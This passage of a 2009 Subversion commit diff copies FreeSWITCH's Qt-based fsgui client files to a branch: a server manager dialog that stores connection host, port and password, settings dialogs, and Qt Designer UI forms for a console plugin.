+void ServerManager::currentItemChanged (QTreeWidgetItem * current, QTreeWidgetItem * /*previous*/)
+{
+    if (current)
+    {
+        m_ui->lineHost->setText(current->data(0,ServerManager::Host).toString());
+        m_ui->linePassword->setText(current->data(0,ServerManager::Password).toString());
+        m_ui->linePort->setText(current->data(0,ServerManager::Port).toString());
+        m_ui->btnConnect->setEnabled(true);
+        m_ui->btnEdit->setEnabled(true);
+        m_ui->lineHost->setEnabled(false);
+        m_ui->linePassword->setEnabled(false);
+        m_ui->linePort->setEnabled(false);
+        m_ui->btnSave->setEnabled(false);
+    }
+    else
+    {
+        m_ui->btnEdit->setEnabled(false);
+        m_ui->btnConnect->setEnabled(false);
+    }
+}
+
+void ServerManager::addServer()
+{
+    bool ok;
+    QString text = QInputDialog::getText(this, tr("New Server Name"),
+                                         tr("Server Name:"), QLineEdit::Normal,
+                                         "", &ok);
+    if (ok && !text.isEmpty())
+    {
+        QSettings settings;
+        settings.beginGroup("Servers");
+        settings.beginGroup(text);
+        settings.setValue("name", text);
+        settings.setValue("port", 8021);
+        settings.endGroup();
+        settings.endGroup();
+        readSettings();
+        m_ui->listServers->setCurrentItem(m_ui->listServers->findItems(text, Qt::MatchExactly, 0).first());
+    }
+}
+
+void ServerManager::editServer()
+{
+    m_ui->lineHost->setEnabled(true);
+    m_ui->linePassword->setEnabled(true);
+    m_ui->linePort->setEnabled(true);
+    m_ui->btnSave->setEnabled(true);
+    m_ui->btnEdit->setEnabled(false);
+    m_ui->lineHost->setFocus();
+}
+
+void ServerManager::saveServer()
+{
+    QTreeWidgetItem * item = m_ui->listServers->selectedItems().first();
+    item->setData(0, ServerManager::Host, m_ui->lineHost->text());
+    item->setData(0, ServerManager::Password, m_ui->linePassword->text());
+    item->setData(0, ServerManager::Port, m_ui->linePort->text());
+
+    QSettings settings;
+    settings.beginGroup("Servers");
+    settings.beginGroup(item->data(0, ServerManager::Name).toString());
+    settings.setValue("host", m_ui->lineHost->text());
+    settings.setValue("password", m_ui->linePassword->text());
+    settings.setValue("port", m_ui->linePort->text());
+    settings.endGroup();
+    settings.endGroup();
+
+    m_ui->lineHost->setEnabled(false);
+    m_ui->linePassword->setEnabled(false);
+    m_ui->linePort->setEnabled(false);
+    m_ui->btnSave->setEnabled(false);
+    m_ui->btnEdit->setEnabled(true);
+}
+
+void ServerManager::deleteServer()
+{
+    QTreeWidgetItem *item = m_ui->listServers->selectedItems().first();
+    QSettings settings;
+    settings.beginGroup("Servers");
+    settings.remove(item->data(0, ServerManager::Name).toString());
+    delete item;
+}
+
+void ServerManager::readSettings()
+{
+    m_ui->listServers->clear();
+    QSettings settings;
+    settings.beginGroup("Servers");
+    foreach (QString server, settings.childGroups())
+    {
+        settings.beginGroup(server);
+        QTreeWidgetItem *serverItem = new QTreeWidgetItem(m_ui->listServers->invisibleRootItem());
+        serverItem->setIcon(0, QIcon(":/icons/server_icon.png"));
+        serverItem->setText(0, settings.value("name").toString());
+        serverItem->setData(0, ServerManager::Name, settings.value("name"));
+        serverItem->setData(0, ServerManager::Host, settings.value("host"));
+        serverItem->setData(0, ServerManager::Port, settings.value("port"));
+        serverItem->setData(0, ServerManager::Password, settings.value("password"));
+        settings.endGroup();
+    }
+    settings.endGroup();
+}
+

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/servermanager.h

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/servermanager.h (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/interfaces/servermanager.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/servermanager.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/servermanager.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,44 @@
+#ifndef SERVERMANAGER_H
+#define SERVERMANAGER_H
+
+#include <QtGui/QDialog>
+
+namespace Ui {
+    class ServerManager;
+}
+
+class ESLconnection;
+
+class QTreeWidgetItem;
+
+class ServerManager : public QDialog {
+    Q_OBJECT
+public:
+    ServerManager(QWidget *parent = 0);
+    ~ServerManager();
+    ESLconnection * getESLconnection();
+
+protected:
+    void changeEvent(QEvent *e);
+
+private slots:
+    void currentItemChanged ( QTreeWidgetItem * current, QTreeWidgetItem * previous );
+    void addServer();
+    void editServer();
+    void saveServer();
+    void deleteServer();
+
+private:
+    Ui::ServerManager *m_ui;
+
+    enum {
+        Host = Qt::UserRole,
+        Port,
+        Password,
+        Name
+    };
+
+    void readSettings();
+};
+
+#endif // SERVERMANAGER_H

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/servermanager.ui

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/servermanager.ui (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/interfaces/servermanager.ui) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/servermanager.ui	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/servermanager.ui	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,281 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>ServerManager</class>
+ <widget class="QDialog" name="ServerManager">
+  <property name="windowModality">
+   <enum>Qt::ApplicationModal</enum>
+  </property>
+  <property name="geometry">
+   <rect>
+    <x>0</x>
+    <y>0</y>
+    <width>534</width>
+    <height>292</height>
+   </rect>
+  </property>
+  <property name="windowTitle">
+   <string>Server Manager</string>
+  </property>
+  <layout class="QVBoxLayout" name="verticalLayout_3">
+   <item>
+    <layout class="QHBoxLayout" name="horizontalLayout_4">
+     <item>
+      <layout class="QVBoxLayout" name="verticalLayout_2">
+       <item>
+        <widget class="QTreeWidget" name="listServers">
+         <column>
+          <property name="text">
+           <string>Servers</string>
+          </property>
+         </column>
+        </widget>
+       </item>
+       <item>
+        <layout class="QHBoxLayout" name="horizontalLayout">
+         <item>
+          <widget class="QPushButton" name="btnAddServer">
+           <property name="text">
+            <string>&amp;Add server</string>
+           </property>
+           <property name="icon">
+            <iconset>
+             <normaloff>:/icons/new_server_icon.png</normaloff>:/icons/new_server_icon.png</iconset>
+           </property>
+          </widget>
+         </item>
+         <item>
+          <widget class="QPushButton" name="btnDelServer">
+           <property name="text">
+            <string>&amp;Remove Server</string>
+           </property>
+           <property name="icon">
+            <iconset>
+             <normaloff>:/icons/remove_server_icon.png</normaloff>:/icons/remove_server_icon.png</iconset>
+           </property>
+          </widget>
+         </item>
+        </layout>
+       </item>
+      </layout>
+     </item>
+     <item>
+      <layout class="QVBoxLayout" name="verticalLayout">
+       <item>
+        <widget class="QTabWidget" name="serverConfigTabs">
+         <property name="enabled">
+          <bool>true</bool>
+         </property>
+         <property name="currentIndex">
+          <number>1</number>
+         </property>
+         <widget class="QWidget" name="tabBasic">
+          <attribute name="title">
+           <string>Basic</string>
+          </attribute>
+          <layout class="QFormLayout" name="formLayout">
+           <item row="0" column="0">
+            <widget class="QLabel" name="label">
+             <property name="enabled">
+              <bool>true</bool>
+             </property>
+             <property name="text">
+              <string>Host</string>
+             </property>
+            </widget>
+           </item>
+           <item row="0" column="1">
+            <widget class="QLineEdit" name="lineHost">
+             <property name="enabled">
+              <bool>false</bool>
+             </property>
+            </widget>
+           </item>
+           <item row="1" column="0">
+            <widget class="QLabel" name="label_2">
+             <property name="enabled">
+              <bool>true</bool>
+             </property>
+             <property name="text">
+              <string>Password</string>
+             </property>
+            </widget>
+           </item>
+           <item row="1" column="1">
+            <widget class="QLineEdit" name="linePassword">
+             <property name="enabled">
+              <bool>false</bool>
+             </property>
+            </widget>
+           </item>
+           <item row="2" column="0">
+            <widget class="QLabel" name="label_3">
+             <property name="enabled">
+              <bool>true</bool>
+             </property>
+             <property name="text">
+              <string>Port</string>
+             </property>
+            </widget>
+           </item>
+           <item row="2" column="1">
+            <widget class="QLineEdit" name="linePort">
+             <property name="enabled">
+              <bool>false</bool>
+             </property>
+            </widget>
+           </item>
+          </layout>
+         </widget>
+         <widget class="QWidget" name="tabAdvanced">
+          <attribute name="title">
+           <string>Advanced</string>
+          </attribute>
+         </widget>
+        </widget>
+       </item>
+       <item>
+        <layout class="QHBoxLayout" name="horizontalLayout_2">
+         <item>
+          <widget class="QPushButton" name="btnSave">
+           <property name="enabled">
+            <bool>false</bool>
+           </property>
+           <property name="text">
+            <string>&amp;Save</string>
+           </property>
+           <property name="icon">
+            <iconset>
+             <normaloff>:/icons/save.png</normaloff>:/icons/save.png</iconset>
+           </property>
+           <property name="iconSize">
+            <size>
+             <width>20</width>
+             <height>20</height>
+            </size>
+           </property>
+          </widget>
+         </item>
+         <item>
+          <widget class="QPushButton" name="btnEdit">
+           <property name="enabled">
+            <bool>false</bool>
+           </property>
+           <property name="text">
+            <string>&amp;Edit</string>
+           </property>
+           <property name="icon">
+            <iconset>
+             <normaloff>:/icons/edit_icon.png</normaloff>:/icons/edit_icon.png</iconset>
+           </property>
+           <property name="iconSize">
+            <size>
+             <width>20</width>
+             <height>20</height>
+            </size>
+           </property>
+          </widget>
+         </item>
+        </layout>
+       </item>
+      </layout>
+     </item>
+    </layout>
+   </item>
+   <item>
+    <layout class="QHBoxLayout" name="horizontalLayout_3">
+     <item>
+      <spacer name="horizontalSpacer">
+       <property name="orientation">
+        <enum>Qt::Horizontal</enum>
+       </property>
+       <property name="sizeHint" stdset="0">
+        <size>
+         <width>40</width>
+         <height>20</height>
+        </size>
+       </property>
+      </spacer>
+     </item>
+     <item>
+      <widget class="QPushButton" name="pushButton_5">
+       <property name="maximumSize">
+        <size>
+         <width>85</width>
+         <height>28</height>
+        </size>
+       </property>
+       <property name="text">
+        <string>Cancel</string>
+       </property>
+      </widget>
+     </item>
+     <item>
+      <widget class="QPushButton" name="btnConnect">
+       <property name="enabled">
+        <bool>false</bool>
+       </property>
+       <property name="maximumSize">
+        <size>
+         <width>85</width>
+         <height>28</height>
+        </size>
+       </property>
+       <property name="text">
+        <string>&amp;Connect</string>
+       </property>
+       <property name="icon">
+        <iconset>
+         <normaloff>:/icons/connect_icon.png</normaloff>:/icons/connect_icon.png</iconset>
+       </property>
+       <property name="iconSize">
+        <size>
+         <width>20</width>
+         <height>20</height>
+        </size>
+       </property>
+       <property name="shortcut">
+        <string>Return</string>
+       </property>
+      </widget>
+     </item>
+    </layout>
+   </item>
+  </layout>
+  <zorder></zorder>
+ </widget>
+ <resources/>
+ <connections>
+  <connection>
+   <sender>pushButton_5</sender>
+   <signal>clicked()</signal>
+   <receiver>ServerManager</receiver>
+   <slot>reject()</slot>
+   <hints>
+    <hint type="sourcelabel">
+     <x>438</x>
+     <y>346</y>
+    </hint>
+    <hint type="destinationlabel">
+     <x>171</x>
+     <y>257</y>
+    </hint>
+   </hints>
+  </connection>
+  <connection>
+   <sender>btnConnect</sender>
+   <signal>clicked()</signal>
+   <receiver>ServerManager</receiver>
+   <slot>accept()</slot>
+   <hints>
+    <hint type="sourcelabel">
+     <x>564</x>
+     <y>365</y>
+    </hint>
+    <hint type="destinationlabel">
+     <x>617</x>
+     <y>351</y>
+    </hint>
+   </hints>
+  </connection>
+ </connections>
+</ui>

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.cpp

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.cpp (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,51 @@
+#include <QtGui>
+#include "settingsdialog.h"
+#include "ui_settingsdialog.h"
+
+SettingsDialog::SettingsDialog(QWidget *parent) :
+    QDialog(parent),
+    m_ui(new Ui::SettingsDialog)
+{
+    m_ui->setupUi(this);
+    settings = new QSettings;
+    QObject::connect(m_ui->listConfig, SIGNAL(currentItemChanged(QListWidgetItem*,QListWidgetItem*)),
+                     this, SLOT(changePage(QListWidgetItem*,QListWidgetItem*)));
+}
+
+SettingsDialog::~SettingsDialog()
+{
+    delete m_ui;
+}
+
+void SettingsDialog::changeEvent(QEvent *e)
+{
+    QDialog::changeEvent(e);
+    switch (e->type()) {
+    case QEvent::LanguageChange:
+        m_ui->retranslateUi(this);
+        break;
+    default:
+        break;
+    }
+}
+
+void SettingsDialog::addConfigItem(QString item, QWidget *page)
+{
+    QListWidgetItem *item_widget = new QListWidgetItem(item);
+    addConfigItem(item_widget, page);
+}
+
+void SettingsDialog::addConfigItem(QListWidgetItem *item, QWidget *page)
+{
+    m_ui->listConfig->addItem(item);
+    m_ui->configPages->insertWidget(m_ui->listConfig->row(item),page);
+}
+
+void SettingsDialog::changePage(QListWidgetItem *current, QListWidgetItem *previous)
+{
+    if (!current)
+        current = previous;
+
+    m_ui->configPages->setCurrentIndex(m_ui->listConfig->row(current));
+}
+

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.h

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.h (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+#ifndef SETTINGSDIALOG_H
+#define SETTINGSDIALOG_H
+
+#include <QtGui/QDialog>
+
+namespace Ui {
+    class SettingsDialog;
+}
+class QListWidgetItem;
+class QSettings;
+
+class SettingsDialog : public QDialog {
+    Q_OBJECT
+public:
+    SettingsDialog(QWidget *parent = 0);
+    ~SettingsDialog();
+    void addConfigItem(QListWidgetItem *item, QWidget *page);
+    void addConfigItem(QString item, QWidget *page);
+
+protected:
+    void changeEvent(QEvent *e);
+
+private slots:
+    void changePage(QListWidgetItem*, QListWidgetItem*);
+
+private:
+    Ui::SettingsDialog *m_ui;
+    QSettings *settings;
+};
+
+#endif // SETTINGSDIALOG_H

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.ui

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.ui (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.ui) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.ui	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/settingsdialog.ui	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,122 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>SettingsDialog</class>
+ <widget class="QDialog" name="SettingsDialog">
+  <property name="geometry">
+   <rect>
+    <x>0</x>
+    <y>0</y>
+    <width>661</width>
+    <height>269</height>
+   </rect>
+  </property>
+  <property name="windowTitle">
+   <string>General Settings</string>
+  </property>
+  <property name="windowIcon">
+   <iconset resource="../resources/resources.qrc">
+    <normaloff>:/icons/fsgui_logo.png</normaloff>:/icons/fsgui_logo.png</iconset>
+  </property>
+  <layout class="QVBoxLayout" name="verticalLayout">
+   <item>
+    <layout class="QHBoxLayout" name="horizontalLayout">
+     <item>
+      <widget class="QListWidget" name="listConfig">
+       <property name="maximumSize">
+        <size>
+         <width>128</width>
+         <height>16777215</height>
+        </size>
+       </property>
+       <property name="iconSize">
+        <size>
+         <width>96</width>
+         <height>84</height>
+        </size>
+       </property>
+       <property name="movement">
+        <enum>QListView::Static</enum>
+       </property>
+       <property name="spacing">
+        <number>12</number>
+       </property>
+       <property name="viewMode">
+        <enum>QListView::IconMode</enum>
+       </property>
+      </widget>
+     </item>
+     <item>
+      <widget class="QStackedWidget" name="configPages">
+       <property name="currentIndex">
+        <number>1</number>
+       </property>
+       <widget class="QWidget" name="page"/>
+       <widget class="QWidget" name="page_2"/>
+      </widget>
+     </item>
+    </layout>
+   </item>
+   <item>
+    <layout class="QHBoxLayout" name="horizontalLayout_2">
+     <item>
+      <spacer name="horizontalSpacer">
+       <property name="orientation">
+        <enum>Qt::Horizontal</enum>
+       </property>
+       <property name="sizeHint" stdset="0">
+        <size>
+         <width>40</width>
+         <height>20</height>
+        </size>
+       </property>
+      </spacer>
+     </item>
+     <item>
+      <widget class="QPushButton" name="btnApply">
+       <property name="text">
+        <string>&amp;Apply</string>
+       </property>
+      </widget>
+     </item>
+     <item>
+      <widget class="QPushButton" name="btnOk">
+       <property name="text">
+        <string>&amp;OK</string>
+       </property>
+      </widget>
+     </item>
+     <item>
+      <widget class="QPushButton" name="btnCancel">
+       <property name="text">
+        <string>&amp;Cancel</string>
+       </property>
+      </widget>
+     </item>
+    </layout>
+   </item>
+  </layout>
+ </widget>
+ <resources>
+  <include location="../resources/resources.qrc"/>
+  <include location="../resources/resources.qrc"/>
+  <include location="../resources/resources.qrc"/>
+ </resources>
+ <connections>
+  <connection>
+   <sender>btnCancel</sender>
+   <signal>clicked()</signal>
+   <receiver>SettingsDialog</receiver>
+   <slot>reject()</slot>
+   <hints>
+    <hint type="sourcelabel">
+     <x>279</x>
+     <y>226</y>
+    </hint>
+    <hint type="destinationlabel">
+     <x>330</x>
+     <y>213</y>
+    </hint>
+   </hints>
+  </connection>
+ </connections>
+</ui>

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/ui_settings.h

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/ui_settings.h (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/interfaces/ui_settings.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/ui_settings.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/ui_settings.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,132 @@
+/********************************************************************************
+** Form generated from reading ui file 'settings.ui'
+**
+** Created: Thu Aug 6 02:01:13 2009
+**      by: Qt User Interface Compiler version 4.5.0
+**
+** WARNING! All changes made in this file will be lost when recompiling ui file!
+********************************************************************************/
+
+#ifndef UI_SETTINGS_H
+#define UI_SETTINGS_H
+
+#include <QtCore/QVariant>
+#include <QtGui/QAction>
+#include <QtGui/QApplication>
+#include <QtGui/QButtonGroup>
+#include <QtGui/QDialog>
+#include <QtGui/QHBoxLayout>
+#include <QtGui/QHeaderView>
+#include <QtGui/QListWidget>
+#include <QtGui/QPushButton>
+#include <QtGui/QSpacerItem>
+#include <QtGui/QStackedWidget>
+#include <QtGui/QVBoxLayout>
+#include <QtGui/QWidget>
+
+QT_BEGIN_NAMESPACE
+
+class Ui_SettingsDialog
+{
+public:
+    QVBoxLayout *verticalLayout;
+    QHBoxLayout *horizontalLayout;
+    QListWidget *listConfig;
+    QStackedWidget *configPages;
+    QWidget *page;
+    QWidget *page_2;
+    QHBoxLayout *horizontalLayout_2;
+    QSpacerItem *horizontalSpacer;
+    QPushButton *btnApply;
+    QPushButton *btnOk;
+    QPushButton *btnCancel;
+
+    void setupUi(QDialog *SettingsDialog)
+    {
+        if (SettingsDialog->objectName().isEmpty())
+            SettingsDialog->setObjectName(QString::fromUtf8("SettingsDialog"));
+        SettingsDialog->resize(400, 300);
+        QIcon icon;
+        icon.addPixmap(QPixmap(QString::fromUtf8(":/icons/fsgui_logo.png")), QIcon::Normal, QIcon::Off);
+        SettingsDialog->setWindowIcon(icon);
+        verticalLayout = new QVBoxLayout(SettingsDialog);
+        verticalLayout->setObjectName(QString::fromUtf8("verticalLayout"));
+        horizontalLayout = new QHBoxLayout();
+        horizontalLayout->setObjectName(QString::fromUtf8("horizontalLayout"));
+        listConfig = new QListWidget(SettingsDialog);
+        listConfig->setObjectName(QString::fromUtf8("listConfig"));
+        listConfig->setMaximumSize(QSize(128, 16777215));
+        listConfig->setIconSize(QSize(96, 84));
+        listConfig->setMovement(QListView::Static);
+        listConfig->setSpacing(12);
+        listConfig->setViewMode(QListView::IconMode);
+
+        horizontalLayout->addWidget(listConfig);
+
+        configPages = new QStackedWidget(SettingsDialog);
+        configPages->setObjectName(QString::fromUtf8("configPages"));
+        page = new QWidget();
+        page->setObjectName(QString::fromUtf8("page"));
+        configPages->addWidget(page);
+        page_2 = new QWidget();
+        page_2->setObjectName(QString::fromUtf8("page_2"));
+        configPages->addWidget(page_2);
+
+        horizontalLayout->addWidget(configPages);
+
+
+        verticalLayout->addLayout(horizontalLayout);
+
+        horizontalLayout_2 = new QHBoxLayout();
+        horizontalLayout_2->setObjectName(QString::fromUtf8("horizontalLayout_2"));
+        horizontalSpacer = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum);
+
+        horizontalLayout_2->addItem(horizontalSpacer);
+
+        btnApply = new QPushButton(SettingsDialog);
+        btnApply->setObjectName(QString::fromUtf8("btnApply"));
+
+        horizontalLayout_2->addWidget(btnApply);
+
+        btnOk = new QPushButton(SettingsDialog);
+        btnOk->setObjectName(QString::fromUtf8("btnOk"));
+
+        horizontalLayout_2->addWidget(btnOk);
+
+        btnCancel = new QPushButton(SettingsDialog);
+        btnCancel->setObjectName(QString::fromUtf8("btnCancel"));
+
+        horizontalLayout_2->addWidget(btnCancel);
+
+
+        verticalLayout->addLayout(horizontalLayout_2);
+
+
+        retranslateUi(SettingsDialog);
+        QObject::connect(btnOk, SIGNAL(clicked()), SettingsDialog, SLOT(accept()));
+        QObject::connect(btnCancel, SIGNAL(clicked()), SettingsDialog, SLOT(reject()));
+
+        configPages->setCurrentIndex(1);
+
+
+        QMetaObject::connectSlotsByName(SettingsDialog);
+    } // setupUi
+
+    void retranslateUi(QDialog *SettingsDialog)
+    {
+        SettingsDialog->setWindowTitle(QApplication::translate("SettingsDialog", "FsGui", 0, QApplication::UnicodeUTF8));
+        btnApply->setText(QApplication::translate("SettingsDialog", "&Apply", 0, QApplication::UnicodeUTF8));
+        btnOk->setText(QApplication::translate("SettingsDialog", "&OK", 0, QApplication::UnicodeUTF8));
+        btnCancel->setText(QApplication::translate("SettingsDialog", "&Cancel", 0, QApplication::UnicodeUTF8));
+        Q_UNUSED(SettingsDialog);
+    } // retranslateUi
+
+};
+
+namespace Ui {
+    class SettingsDialog: public Ui_SettingsDialog {};
+} // namespace Ui
+
+QT_END_NAMESPACE
+
+#endif // UI_SETTINGS_H

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/plugins)

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/plugins/consoleplugin)

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/centralWidget.ui

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/centralWidget.ui (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/plugins/consoleplugin/centralWidget.ui) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/centralWidget.ui	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/centralWidget.ui	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,137 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>consoleWindow</class>
+ <widget class="QMainWindow" name="consoleWindow">
+  <property name="geometry">
+   <rect>
+    <x>0</x>
+    <y>0</y>
+    <width>673</width>
+    <height>536</height>
+   </rect>
+  </property>
+  <property name="windowTitle">
+   <string>Console for human beings</string>
+  </property>
+  <property name="windowIcon">
+   <iconset resource="../../resources/resources.qrc">
+    <normaloff>:/icons/fsgui_logo.png</normaloff>:/icons/fsgui_logo.png</iconset>
+  </property>
+  <widget class="QWidget" name="centralwidget">
+   <layout class="QVBoxLayout" name="verticalLayout_3">
+    <item>
+     <widget class="QTabWidget" name="tabConsole">
+      <property name="tabsClosable">
+       <bool>true</bool>
+      </property>
+      <property name="movable">
+       <bool>true</bool>
+      </property>
+      <widget class="QWidget" name="tab">
+       <attribute name="title">
+        <string>Tab 1</string>
+       </attribute>
+      </widget>
+      <widget class="QWidget" name="tab_2">
+       <attribute name="title">
+        <string>Tab 2</string>
+       </attribute>
+      </widget>
+     </widget>
+    </item>
+   </layout>
+  </widget>
+  <widget class="QMenuBar" name="menubar">
+   <property name="geometry">
+    <rect>
+     <x>0</x>
+     <y>0</y>
+     <width>673</width>
+     <height>25</height>
+    </rect>
+   </property>
+   <widget class="QMenu" name="menu_Server">
+    <property name="title">
+     <string>&amp;Server</string>
+    </property>
+    <addaction name="action_Server_Manager"/>
+    <addaction name="separator"/>
+    <addaction name="action_Connect"/>
+    <addaction name="action_Disconnect"/>
+   </widget>
+   <widget class="QMenu" name="menu_File">
+    <property name="title">
+     <string>&amp;File</string>
+    </property>
+    <addaction name="action_Close"/>
+   </widget>
+   <widget class="QMenu" name="menu_Edit">
+    <property name="title">
+     <string>&amp;Edit</string>
+    </property>
+    <addaction name="action_Clear"/>
+   </widget>
+   <addaction name="menu_File"/>
+   <addaction name="menu_Edit"/>
+   <addaction name="menu_Server"/>
+  </widget>
+  <widget class="QStatusBar" name="statusbar"/>
+  <action name="action_Connect">
+   <property name="enabled">
+    <bool>false</bool>
+   </property>
+   <property name="text">
+    <string>&amp;Connect</string>
+   </property>
+  </action>
+  <action name="action_Disconnect">
+   <property name="enabled">
+    <bool>false</bool>
+   </property>
+   <property name="text">
+    <string>&amp;Disconnect</string>
+   </property>
+  </action>
+  <action name="action_Close">
+   <property name="text">
+    <string>&amp;Close</string>
+   </property>
+   <property name="shortcut">
+    <string>Ctrl+W</string>
+   </property>
+  </action>
+  <action name="action_Server_Manager">
+   <property name="text">
+    <string>&amp;Server Manager</string>
+   </property>
+  </action>
+  <action name="action_Clear">
+   <property name="text">
+    <string>&amp;Clear</string>
+   </property>
+  </action>
+ </widget>
+ <resources>
+  <include location="../../resources/resources.qrc"/>
+  <include location="../../resources/resources.qrc"/>
+  <include location="../../resources/resources.qrc"/>
+ </resources>
+ <connections>
+  <connection>
+   <sender>action_Close</sender>
+   <signal>triggered(bool)</signal>
+   <receiver>consoleWindow</receiver>
+   <slot>close()</slot>
+   <hints>
+    <hint type="sourcelabel">
+     <x>-1</x>
+     <y>-1</y>
+    </hint>
+    <hint type="destinationlabel">
+     <x>197</x>
+     <y>169</y>
+    </hint>
+   </hints>
+  </connection>
+ </connections>
+</ui>

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/console_settings.ui

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/console_settings.ui (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/plugins/consoleplugin/console_settings.ui) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/console_settings.ui	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/console_settings.ui	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,656 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>configPage</class>
+ <widget class="QWidget" name="configPage">
+  <property name="geometry">
+   <rect>
+    <x>0</x>
+    <y>0</y>
+    <width>438</width>
+    <height>387</height>
+   </rect>
+  </property>
+  <property name="windowTitle">
+   <string>Form</string>
+  </property>
+  <layout class="QVBoxLayout" name="verticalLayout">
+   <item>
+    <layout class="QHBoxLayout" name="horizontalLayout_9">
+     <item>
+      <widget class="QGroupBox" name="groupBox">
+       <property name="minimumSize">
+        <size>
+         <width>372</width>
+         <height>318</height>
+        </size>
+       </property>
+       <property name="maximumSize">
+        <size>
+         <width>372</width>
+         <height>318</height>
+        </size>
+       </property>
+       <property name="title">
+        <string>Colors</string>
+       </property>
+       <layout class="QVBoxLayout" name="verticalLayout_2">
+        <item>
+         <layout class="QHBoxLayout" name="horizontalLayout">
+          <item>
+           <widget class="QLineEdit" name="lineConsole">
+            <property name="minimumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>146</width>
+              <height>26</height>
+             </size>
+            </property>
+            <property name="autoFillBackground">
+             <bool>true</bool>
+            </property>
+            <property name="text">
+             <string>Console message</string>
+            </property>
+            <property name="frame">
+             <bool>true</bool>
+            </property>
+            <property name="alignment">
+             <set>Qt::AlignCenter</set>
+            </property>
+            <property name="readOnly">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnBackgroundConsole">
+            <property name="minimumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>95</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Background</string>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QPushButton" name="btnForegroundConsole">
+            <property name="minimumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="maximumSize">
+             <size>
+              <width>91</width>
+              <height>28</height>
+             </size>
+            </property>
+            <property name="text">
+             <string>Foreground</string>
+            </property>
+           </widget>
+          </item>
+         </layout>
